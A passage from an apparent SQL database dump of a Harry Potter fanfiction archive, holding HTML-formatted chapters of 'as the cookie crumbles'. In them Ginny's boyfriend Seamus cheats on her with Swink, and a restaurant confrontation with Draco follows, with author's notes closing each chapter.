I&#8217;m a different species.&#8221; She hurriedly \ntugged on the black dress&#8230;the one with the ruffles on the bottom, and walked \ninto her bathroom. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nColin \nrolled his eyes up to the ceiling. &#8220;Merlin help whatever man she actually \nmarries.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n\n----------------------</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nSeamus \nrang the doorbell right on time. Ginny answered the door, make-up and black \ndress in place. Colin was hiding in the coat closet, peering through the little \nslits in the slatted door; he was looking for any edgy behavior that Ginny might \nnot pick up on.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny&#8217;s \nheart fluttered slightly as Seamus looked at her with his dark blue eyes. \n&#8220;Hello,&#8221; he said with a heart-warming smile. Ginny blinked a second before she \nregained her composure. Seamus was very sexy. He had dark blond hair, which when \npaired with his dark blue eyes, could knock a girl off her feet. Not to mention \nthat he was incredibly built. Must come from being a quidditch player.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Hello,&#8221; \nreturned Ginny.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nSeamus \nheld out a rose. Ginny&#8217;s eyebrows flew up. A pink rose on the first date? How \nsweet of him. &#8220;Thanks,&#8221; she said, beaming at him. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;No \nproblem,&#8221; he said. Ginny went and put it in a vase, and set the vase on the \ncenter of her dining table. &#8220;Ready?&#8221; he asked. She nodded and wove her arm \nthrough his outstretched elbow.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nMoments \nlater, they arrived at La Bonne Forchette. Ginny wrinkled her nose and chose not \nto say anything. It certainly wasn&#8217;t the classiest place, but who was she to \njudge?</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n\n----------------------</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Knock, \nknock!&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nDraco \nlooked up from the papers he was working on at his desk. There was a quill in \nhis hand, poised over a paper, his eyebrows and been wrinkled in concentration. \nHe saw Alex standing in the doorway of his office. Or more like leaning against \nthe doorjamb, looking as provocative as possible. He almost rolled his eyes at \nthe sight of her.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Hey,&#8221; he \nsaid quickly, turning back to his papers. </p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nShe \nfrowned and pursed her lips together before taking a step into his office and \nshutting the door behind her. &#8220;Weren&#8217;t we supposed to go to dinner tonight?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Weren&#8217;t \nyou supposed to turn up for a photo shoot?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I <i>\ntold</i> you I was sorry.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;<i>I&#8217;m</i> \nsorry,&#8221; said Draco.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;You&#8217;re \nbeing a prat,&#8221; Alex said, glaring at him.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;You&#8217;re \nbeing plain annoying.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I only \ncame because you left me waiting at the Candelabra for an hour. I don&#8217;t like \nbeing humiliated.&#8221; Alex sat down in one of the chairs facing Draco&#8217;s desk.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nDraco \npinched the bridge of his nose. &#8220;Look, I said I was <i>sorry</i>, Alex. I&#8217;ve \nbeen busy. I&#8217;ve got a lot of work to do.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nAlex \nblinked, &#8220;You&#8217;re the head of this company, are you not? Why can&#8217;t you just make \nyour employees do it for you?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Have you \never heard of the saying, if you want anything done right you have to do it \nyourself?&#8221; Draco asked, putting down his quill and wondering vaguely if Alex \nwould ever leave.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Fine, \nDraco. You had better be at the Candelabra tomorrow night. That&#8217;s your last \nchance,&#8221; Alex got up out of her chair and stormed out of his office, not even&nbsp; \nbothering to close the door behind her.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nDraco \nglared at the wide open door. He got out of his chair and slammed it loudly. &#8220;I \ndon&#8217;t recall asking for a chance,&#8221; he said to the closed door.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n\n----------------------</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I had a \nwonderful time,&#8221; Ginny said with a huge grin. She and Seamus were standing \noutside of her flat door. He had been a perfect gentleman at La Bonne Forchette; \nshe couldn&#8217;t have imagined a better man.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;I did \ntoo,&#8221; Seamus said, his eyes glittering darkly. Ginny&#8217;s stomach did a small turn. \nHe leaned down and placed his lips on hers gently. &#8220;Good night,&#8221; he said, \nlifting his head up.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Night,&#8221; \nsaid Ginny, a dazed smile on her face.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nShe \nentered her flat, and wandered into the living room, where Colin was sitting on \nthe couch flipping through some old <i>Witch Weekly</i>&#8217;s. He looked up at her, \ntaking note of her dreamy state.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Wait \nup?&#8221; she asked.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Of \ncourse not,&#8221; said Colin. &#8220;I just enjoy looking through <i>Witch Weekly</i> \nmagazines.&#8221; He plastered a fake smile on his face. &#8220;They really are the <i>best</i>!&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\nGinny \nsnorted and rolled her eyes. &#8220;I&#8217;m on to you, Creevey.&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;Right&#8230;.&#8221; \nColin shook his head. &#8220;So how was the date?&#8221;</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n&#8220;<i>Fab</i>ulous!&#8221; \nGinny said, practically falling into her bedroom.</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal">\n\n----------------------</p>\n<p class="MsoNormal">\n&nbsp;</p>\n<p class="MsoNormal"><b>\nA/N:\n</b>\nYes, I \nknow, short chapter, and completely lacking in D/G action (good thing it&#8217;s short \nthen, eh?). But don&#8217;t worry. I think the next chapter will be longer and will \ndefinitively have some D/G interaction. I think my fingers were trying to resist \nme in the whole Seamus/Ginny thing. ::bleh:: Kill me now. But! It is crucial to \nthe D/G part of this story (which is coming along quite slowly). </p>\n<p class="MsoNormal">\nPlease \nread Heroes Shed No Tears if you haven&#8217;t already. ::begs::</p>\n<p class="MsoNormal">\n&nbsp;</p>\n\n\n\n\n'),
	(100, 7, ' <p><b><i> disclaimer:</i></b><i> I only own Swink, not that I&#8217;m enjoying admitting it.</i>)</p>\n\n<p><b> &nbsp;</b></p>\n\n<p><b> &nbsp;</b></p>\n\n<p><b> as the cookie crumbles -- 07 </b></p>\n\n<p><i> by virtualfaerie</i></p>\n\n<p> &nbsp;</p>\n\n<p> ------------------------------</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;Three months!&quot; Ginny exclaimed, rushing around her apartment. &quot;Can you believe it, Colin?&quot;</p>\n\n<p> &nbsp;</p>\n\n<p> Colin raised a sleepy eyebrow from his spot on the couch while letting out a huge yawn. &quot;Oh yeah, can&#8217;t believe it,&quot; he murmured, lifting a hand and running it through his already mussed hair.</p>\n\n<p> &nbsp;</p>\n\n<p> Ginny sighed happily, clutching a cookie pan to her chest. &quot;Tonight is Valentine\'s Day. And you know what guys do on Valentine\'s day, right?&quot; she asked.</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;Oh, yeah....of course,&quot; Colin mumbled. &quot;They buy overly expensive chocolates and flowers for their girlfriends. And if the girl is lucky they get some overpriced piece of jewelry.&quot;</p>\n\n<p> &nbsp;</p>\n\n<p> Ginny frowned at him, and walked into the living room, just to whack him on the head with her cookie pan.</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;Ow!&quot; he said, clutching his head protectively. &quot;Watch where you swing that, missy.&quot;</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;I\'m really loving that positive attitude of yours, Creevey,&quot; she said sarcastically. She sighed again. &quot;But what I meant, was that guys <i>propose</i> on Valentine\'s day. I think that Seamus is going to propose to me tonight. He has too! He\'s been telling me that he loves me for the past month. Just last week we were walking through Diagon Alley and we stopped in front of a baby shop and looked at the cradles through the window. I said that I couldn\'t wait to have kids of my own, and he said that we\'d make beautiful babies together,&quot; Ginny finished with a dopey smile on her face.</p>\n\n<p> &nbsp;</p>\n\n<p> Colin rolled his eyes. &quot;That was probably just some lame excuse to get you in his bed.&quot;</p>\n\n<p> &nbsp;</p>\n\n<p> Ginny sucked in a sharp breath and whacked him again with her cookie pan.</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;Agh! You sadistic--&quot;</p>\n\n<p> &nbsp;</p>\n\n<p> &quot;Hm?&quot; Hermione had just walked through the door with a small paper sack. She raised her eyebrow at the scene in front of her. Ginny was holding the cookie pan behind her back with a devilish smile on her face; and Colin was shooting daggers at her, mouth still open from his previous purpose to start spouting expletives at Ginny (but that was before Hermione came in, she hated cursing), and his hands were cupped around the back of his head warily.</p>\n\n<p> &nbsp;</p>\n\n<p> Hermione let out a sigh. &#8220;Oh gods, don&#8217;t even tell me what you two have been up to.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Okay,&#8221; they both said cheerily at the same time. Colin glared at Ginny and she shot him a sickeningly sweet smile.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;I picked up that sugar you said you needed,&#8221; Hermione said, waving around her paper sack.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Thanks,&#8221; said Ginny, coming to take it from her.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Oh gods, please no,&#8221; Colin moaned. &#8220;Don&#8217;t give her sugar! You know when she&#8217;s cooking she eats some of that stuff directly? It goes straight to her head I&#8217;m telling you. Straight to the head!&#8221; Colin shook his head as he got off of the couch. &#8220;All I can say is that I&#8217;m not going to be around when she starts eating it. Oh no&#8230;&#8221; he shook his head again and took off towards the door.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Hold on a minute!&#8221; Ginny called. &#8220;I&#8217;m not done with you yet, Creevey,&#8221; she said.</p>\n\n<p> &nbsp;</p>\n\n<p> Colin winced and turned around, giving her his best puppy dog eyes.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Sorry, kiddo,&#8221; she said. &#8220;Those don&#8217;t work on me.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Damn.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Hey!&#8221; said Hermione. &#8220;Watch that!&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Huh?&#8221; Colin said confusedly. &#8220;Oh, right, sorry Hermione.&#8221; He turned to Ginny. &#8220;Do I <i>have</i> to?&#8221; he asked, trying once again with the puppy dog eyes.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Yes,&#8221; said Ginny firmly.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;What&#8217;s he going on about?&#8221; asked Hermione.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Oh,&#8221; said Ginny, waving a hand. &#8220;It&#8217;s nothing really. I&#8217;ve just set him up for a blind date tonight.&#8221; Hermione gave her a look. &#8220;Come on! It&#8217;s not like he&#8217;s already had plans with someone else.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Actually,&#8221; said Colin. &#8220;I was quite happy to stay home and watch movies with Rosie Palm and her five sisters.&#8221; He gave her a impish grin.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Eugh, shut up!&#8221; Ginny said, wrinkling her nose at him. &#8220;Believe me, a night out with this girl will be much better than <i>Rosie Palm</i>.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;How do you know?&#8221; Colin asked, wiggling his eyebrows.</p>\n\n<p> &nbsp;</p>\n\n<p> Ginny reached over and popped him on the back of the head. &#8220;You perverted little boy,&#8221; she said, giggling slightly. &#8220;I think you need to go home and get ready.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> Colin frowned. &#8220;Already? I still have three hours. All I have to do is change my shirt&#8230;.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;What?! Nooooo, Creevey. You&#8217;re going to take a shower <i>and</i> make sure you change those pants.&#8221; She raised an eyebrow. &#8220;How long have you been wearing those anyways.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> Colin cocked his head to the side. &#8220;Two days&#8230;I think&#8230;. Yeah, two days.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> Hermione eyed the jeans. &#8220;Did you spell them clean?&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> Colin snorted. &#8220;Oh no, I don&#8217;t have time for that. What with work and helping Ginny in the shop.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;You don&#8217;t have <i>time</i> to do a simple cleaning spell?&#8221; Hermione asked incredulously. She was holding her wand and her fingers were loosing and tightening around it, just itching to spell his jeans clean.</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;Yes,&#8221; said Ginny. &#8220;Definitely going to have to change those pants. I&#8217;m afraid I&#8217;ll have to chain you to my oven before I let you go out in those again.&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> &#8220;They don&#8217;t look or <i>smell</i> dirty,&#8221; Colin protested.</p>\n\n<p> &nbsp;</p>\n\n<p> Hermione shook her head. &#8220;Men&#8230;&#8221;</p>\n\n<p> &nbsp;</p>\n\n<p> ------------------------------</p>\n\n<p> &nbsp;</p>\n\n<p> &nbsp;</p>\n\n<p>Ginny gave her hair one last fluff up in the mirror before she turned to grab her purse, ready to apparate to Seamus&#8217;. She was going to surprise him by getting to his apartment earlier before their big date that night. She was wearing a dark green dress, it was so dark that it almost looked black. She had splurged on the dress at a Muggle shop that she had let Hermione talk her into going in.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny apparated to Seamus&#8217; entrance hall, setting her purse down on the small table that was already littered with keys.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Seamus!&#8221; she called out.</p>\n\n<p>&nbsp;</p>\n\n<p>There was no answer.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Seamus&#8230;&#8221; she called again, a bit more hesitantly.</p>\n\n<p>&nbsp;</p>\n\n<p>There was still no answer.</p>\n\n<p>&nbsp;</p>\n\n<p>Maybe&#8230;he just wasn&#8217;t home yet.</p>\n\n<p>&nbsp;</p>\n\n<p>She walked into the living room and saw a rumpled dress and pair of pants lying on the floor. She frowned. Why would Seamus have a dress and pair of pants on the floor? Especially a dress&#8230;. </p>\n\n<p>&nbsp;</p>\n\n<p>She walked down the hall slowly, and heard and faint moaning. Her ears perked up, and her eyebrows shot up. She froze in her tracks, craning her head to listen. Yes, those were moans alright.</p>\n\n<p>&nbsp;</p>\n\n<p>She tiptoed her way down the rest of the hallway and stopped in front of Seamus&#8217; bedroom door, which seemed to be the only barrier between Ginny and the moans. She could feel her heart breaking as she heard them grew louder. She only hoped, for Seamus&#8217; sake, that he was watching porno. Gods, he better be watching porno&#8230;.</p>\n\n<p>&nbsp;</p>\n\n<p>She placed her hand on the knob, and turned it slowly, pushing the door in.</p>\n\n<p>&nbsp;</p>\n\n<p>She stopped.</p>\n\n<p>&nbsp;</p>\n\n<p>She screamed.</p>\n\n<p>&nbsp;</p>\n\n<p>She ran into the room.</p>\n\n<p>&nbsp;</p>\n\n<p> ---------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>(<i>bwaahahhaha&#8230;should I leave it there&#8230;? It would be most entertaining&#8230;okay, I&#8217;ll continue.)</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p> ---------------------------</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, Colin. I&#8217;m sorry I ruined your date,&#8221; Ginny groaned. They were sitting back in her apartment, Colin holding an ice-pack to her chin.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not a problem,&#8221; said Colin. &#8220;You just have to tell me exactly what happened.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh gods,&#8221; she wailed. &#8220;You didn&#8217;t like your date did you? I&#8217;m a failure! I&#8217;m a failure at all things dealing with love! Everything!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Colin looked panicked. &#8220;No, of course not, I like Elise just fine&#8230;she was a really nice girl&#8230;&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Don&#8217;t you lie to me, Creevey!&#8221; she snapped, causing Colin to jump.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oookay,&#8221; he said slowly. &#8220;I think <i>someone</i> needs to calm down and tell Colin what&#8217;s wrong&#8230;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He was sleeping with another woman!&#8221; she sobbed. &#8220;I walked in&#8230;and her <i>dress</i> was lying on his living room floor. I could <i>hear</i> them back in his bedroom! He was sleeping with her right before <i>our</i> big date. I can&#8217;t believe that bastard!&#8221; She fisted her hand.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then what happened?&#8221; asked Colin, intrigued. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well,&#8221; said Ginny, frowning. &#8220;I went in there, and guess who it was.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I can&#8217;t, tell me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It was <i> Swink</i>. That <i>whore</i>. She&#8217;s on his quidditch team,&#8221; she said. &#8220;And I thought she was dating Malfoy. Anyways, I went in there and jerked that little bint off of Seamus, and started punching. I landed a few good ones, then she went and gave me an uppercut. I gave Seamus one good one in the groin and left.&#8221; Ginny sighed. &#8220;That&#8217;s about it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Colin shook his head. &#8220;I can&#8217;t believe that. And he said he loved you?&#8221; Ginny nodded. &#8220;What a bastard. You&#8217;re better off without him them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny stared at the floor. &#8220;I bet he hasn&#8217;t used our reservation at the Candelabra. Since I ruined your date, maybe we can go?&#8221; she suggested.</p>\n\n<p>&nbsp;</p>\n\n<p>Colin smiled and pulled her off of the couch. &#8220;Sounds good to me, doll. Let&#8217;s go. There&#8217;s still time for fun to be had.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>They were waiting at the front of the Candelabra when the maitre de came up to them, and eyed Ginny&#8217;s state with disapproval. &#8220;Name?&#8221; he asked.</p>\n\n<p>&nbsp;</p>\n\n<p> &#8220;Finnegan,&#8221; said Ginny.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You&#8217;re Seamus?&#8221; he asked, raising an eyebrow.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m his date,&#8221; she said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh? Are you?&#8221; he asked disdainfully.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Excuse me,&#8221; said Colin reproachfully. &#8220;I would appreciate it if you&#8217;d stop talking to my date like that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The maitre de looked to Colin. &#8220;You are not Seamus Finnegan either,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny and Colin shared a look.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Look, Mister, Finnegan cancelled his date with her, now you better let us in,&#8221; Colin said angrily. &#8220;I&#8217;m hungry and I&#8217;ve got money to spend.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>The maitre de rolled his eyes. &#8220;I guess we have a table to spare&#8230;.&#8221; He walked off into the restaurant, motioning for them to follow. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny gave Colin a grateful smile. &#8220;Thanks.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Colin shrugged. &#8220;No problem. That guy was being a jerk.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>They were seated in at a small table in a corner. &#8220;Your server will be with you shortly,&#8221; said the maitre de before taking off.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny and Colin shared a grin and picked up their menus. Ginny glanced over Colin&#8217;s shoulder and saw a shock of blond hair. She squinted, was that who she thought it was? Yes, it was Draco Malfoy. She craned her neck trying to see if Swink was sitting there with him. She was! That little whore had the audacity to show her face in public. Ginny grinned slightly as she noticed that Swink couldn&#8217;t quite conceal her black eye. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What happened to you?&#8221; she heard Draco asking.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; Swink asked. &#8220;Oh, this,&#8221; she said, motioning flippantly towards her eye. &#8220;Got hit by a stray Bludger at practice.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco raised an eyebrow. &#8220;You didn&#8217;t have that this morning. And if I&#8217;m not mistaken, you haven&#8217;t had a practice today.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Alex Swink blinked. &#8220;Wha--? Oh, that was some <i>other </i>black eye I had,&#8221; she waved it off. &#8220;My head has been a bit screwed. I was actually trying to help this girl with a crazy owl, and it up and hit me in the eye with it&#8217;s stupid beak. It disoriented me.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;A Bludger, eh? An owl? Ginny so desperately wanted to get up and tell Draco how she really got her black eye.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Really?&#8221; asked Draco, looking faintly amused. &#8220;What about those bruises on your arm?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Alex looked to her arm. There were bruises on the side of it that looked much like finger imprints. &#8220;Uhh, the girl was so afraid that she gripped my arm.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>By now, Colin had turned around and was watching too. He was trying not to laugh. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I find it hard to believe that you would take time out of your busy schedule to play good Samaritan to some little girl,&#8221; said Draco. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny got out of her seat.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Gin&#8230;what are you doing?&#8221; asked Colin, nervously. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Excuse me,&#8221; said Ginny, putting her hand on Draco&#8217;s shoulder.</p>\n\n<p>&nbsp;</p>\n\n<p>He turned around and lifted an eyebrow. &#8220;Yes?&#8221; he said. &#8220;What can I help <i>you</i> with?&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Swink&#8217;s eyes widened and darted towards the door. She looked like a jittery rabbit cornered by a fox. &#8220;Oh,&#8221; she said weakly. &#8220;It&#8217;s&#8230;you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny gave her a feral grin. &#8220;Yes, me. Care to explain to your dear <i>boyfriend</i> how you <i>really</i> got that black eye? Instead of feeding him that shit that I&#8217;m sure he didn&#8217;t buy.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s lip curled up, amusement flashed in his eyes as he looked from girl to girl.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Err&#8230;.&#8221; Swink was squirming in her seat. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do tell,&#8221; said Draco. &#8220;I&#8217;d love to hear the real story.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;d rather not,&#8221; she said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shall I tell?&#8221; asked Ginny, pulling out a chair at their table and sitting down. Draco gave her a look. Before Swink could say anything, Ginny started. &#8220;Well, I was coming to my boyfriend&#8217;s house early for our date,&#8221; she said. Ginny turned to Draco, &#8220;Can you see where this is going? But anyways, Swink and Seamus are on the same quidditch team.&#8221; Ginny faked a gasp. &#8220;When I come in the apartment, I see a pair of pants, and a dress on the living room floor,&#8221; she continued. &#8220;That dress in fact,&#8221; she said, jerking her head to the little red number that Swink was wearing. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes hardened. &#8220;Go on,&#8221; he prompted.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So I got back to the bedroom, where I hear these moans, and I&#8217;m hoping for Seamus&#8217; sake that he&#8217;s watching porn. But no, <i>she</i> is in there, humping <i>my</i> man like some rabbit.&#8221; Draco snorted. &#8220;So I went in there and hauled ass,&#8221; Ginny finished.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You gave her that black eye?&#8221; asked Draco, appreciatively. </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny blew on her fisted hand. &#8220;I did. Nice, eh?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco nodded. &#8220;Very.&#8221; He turned to look at Swink. &#8220;Now why, Alex, would you tell me that you were helping a little girl with a crazed owl?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Swink spluttered for a moment, glaring daggers at Ginny. Ginny smiled at her innocently and batted her eyelashes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I say that this relationship is past over,&#8221; said Draco, leaning back in his chair, giving Swink a scrutinized look. &#8220;Don&#8217;t you think?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But&#8212;but, Draco, I love you,&#8221; said Swink, desperately. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Do you?&#8221; he asked, raising an eyebrow. &#8220;That would explain why you were sleeping with Weasley&#8217;s boyfriend, right?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8212;I&#8230;.&#8221; she didn&#8217;t say anything else. She tried to shove back in her chair, but the legs got caught in the carpet and she was sent catapulting back, her legs flailing in the air, exposing her knickers to the whole restaurant. She let out a scream and fell back against a plant. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You!&#8221; she yelled at Ginny. &#8220;You ruined everything, you little bitch! You&#8217;ll pay, I swear you will!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ma&#8217;am,&#8221; said the maitre de, grabbing Swink&#8217;s arm and hauling her up from the floor. &#8220;I&#8217;m afraid we&#8217;re going to have to ask you to leave. You&#8217;re being disruptive.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Get you hands off of me!&#8221; She twisted around in his grasp. &#8220;I have never been so embarrassed in my life.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny saw a server coming, with a tray full of cr&#232;me covered pastries. She smirked at Swink and stuck her foot out. The server tripped over it, and the tray was sent flying in Swink&#8217;s direction. Swink&#8217;s eyes widened and she let out a shrill shriek. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;More embarrassed?&#8221; Ginny asked.</p>\n\n<p>&nbsp;</p>\n\n<p>Swink let out a frustrated scream and wiped the cr&#232;me off her face. &#8220;You&#8217;ll pay! You&#8217;ll pay!&#8221; The maitre de rolled his eyes and began dragging her out of the restaurant. </p>\n\n<p>&nbsp;</p>\n\n<p>Draco was laughing. Full out laughing. &#8220;Oh Merlin,&#8221; he choked out. &#8220;That was the funniest thing I&#8217;ve seen in years!&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>Ginny looked at him, a bit confused. &#8220;You aren&#8217;t upset?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Upset?&#8221; he asked. &#8220;Not at all. You just provided the excuse I needed to end things with her.&#8221; He wiped at his eyes. &#8220;That was hilarious. She deserved it.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Colin got up and walked over to where Draco and Ginny were sitting, he picked up Swink&#8217;s abandoned chair and sat in it. He grinned at Ginny. &#8220;That was excellent,&#8221; he said. &#8220;Even better than that shiner.&#8221; </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What can I say?&#8221; Ginny said, trying to look innocent. &#8220;She messed with a Weasley. You don&#8217;t mess with a Weasley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p> ---------------------------------------</p>\n\n<p>&nbsp;</p>\n\n<p><b>A/N: </b>Ta-da! A chapter! Took long enough, huh? Well, aren&#8217;t you glad that I wrote it? Now wasn&#8217;t it nice to see Swink humiliated so? I rather enjoyed writing that scene, and the one with Colin in the beginning, those are my favorites. *grins* </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Thanks to Komal for betaing. </p>\n\n<p>&nbsp;</p>\n\n<p><b><i><u> Please review!</u></i></b></p> '),
